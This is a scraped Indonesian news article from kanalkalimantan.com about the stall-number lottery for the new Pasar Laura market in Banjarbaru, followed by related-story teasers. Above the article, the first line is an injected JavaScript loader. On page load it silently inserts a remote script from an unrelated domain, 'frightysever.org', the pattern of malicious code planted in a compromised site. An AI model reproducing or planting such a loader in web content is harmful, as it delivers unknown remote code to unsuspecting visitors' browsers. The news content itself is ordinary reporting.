(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menjelang beroperasinya Pasar Laura di Jl Sukamara Kelurahan Landasan Ulin Utara, Dinas Perdagangan Banjarbaru melakukan pengundian nomor bilik lapak untuk pedagang, Kamis (19/8/2021).
Pengambilan nomor bilik ini ikut disaksikan oleh Soegiantoro, selaku perwakilan dari Dinas Perdagangan Kota Banjarbaru.
“Pengambilan nomor ini seharusnya sudah dilakukan minggu kemarin, tapi karena PPKM kami undur jadi hari ini,” katanya.
Baca juga: Perketat PPPKM, Banjarmasin Berlakukan Penyekatan dan ‘Jam Malam’ di Sejumlah Lokasi
Para pedagang sendiri sangat mengharapkan pasar ini segera beroperasi. Pasalnya sejak tiga tahun pasca bangunan pasar tersebut diresmikan, belum ditempati pedagang.
“Semoga tidak hanya jadi wacana lagi!” harap Nanang, salah satu penjual ayam.
Selain harus lama, Nanang juga sempat menyatakan kekecewaannya karena luas lapak yang ditempati jauh berkurang dibanding awalnya. Hal ini karena banyaknya pedagang yang ingin ikut berjualan sehingga lapak yang mestinya untuk satu pedagang dibagi dua.
Walhasil, lapak yang kini ditempati saat ini hanya berukuran sekitar 1,6 meter x 1,2 meter. Hal ini menyulitkan bagi pedagang untuk meletakkan barang dagangannya.
Dalam penataannya, Pasar Laura akan dibagi beberapa sektor seperti pertokoan, kuliner, sembako dan sayur. Pasar ini terdapat 155 bilik dan 34 toko yang akan diisi oleh para pedagang.
Sebelumnya, rapat persiapan pengoperasian Pasar Laura telah digelar Dinas Perdagangan Kota Banjarbaru bersama calon pedagang dan masyarakat sekitar, Jumat (2/7/2021) lalu.
Rencana dibukanya pasar itu disampaikan Kepala Dinas Perdagangan Kota Banjarbaru Drs Abdul Basid MM di hadapan warga dan pedagang. Rapat persiapan dihadiri Wakil Ketua Komisi II DPRD Kota Banjarbaru Taufikurrahman dan anggota Komisi II Mardiana.
Wakil Ketua Komisi II DPRD Banjarbaru Taufikurrahman sangat mendukung rencana operasional Pasar Laura.
“Pasar ini harus segera dimanfaatkan oleh pedagang, dan kami dari Komisi II DPRD Banjarbaru siap membantu agar pasar tersebut dapat beroperasional dengan baik,” kata wakil rakyat dari partai NasDem ini.
Perlu diketahui, kata Taufik, masyarakat sangat bersyukur dan berterima kasih kepada Pemerintah Kota Banjarbaru dan sangat berharap agar pasar ini segera bisa dipergunakan.
Baca juga: Modus Penyelundup Pakaian Bekas di Perbatasan, Tinggalkan Jejak di Semak-semak
“Karena mengingat perkembangan di wilayah Kelurahan Landasan Utara sangat pesat perkembangannya, perlu didukung dengan keberadaan pasar yang memadai,” ucapnya.
Pembangunan Pasar Laura sebelumnya bersumber dari APBD Banjarbaru 2018 yang menelan anggaran senilai Rp 5,7 miliar di bawah Dinas Perdagangan Banjarbaru dan digarap pemenang tender, PT Mandiri Rajawali Group.
Pasar Laura sendiri mulai dibangun pada tahun 2018 dan diresmikan oleh Wali Kota Nadjmi pada November 2019 silam.(kanalkalimantan/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.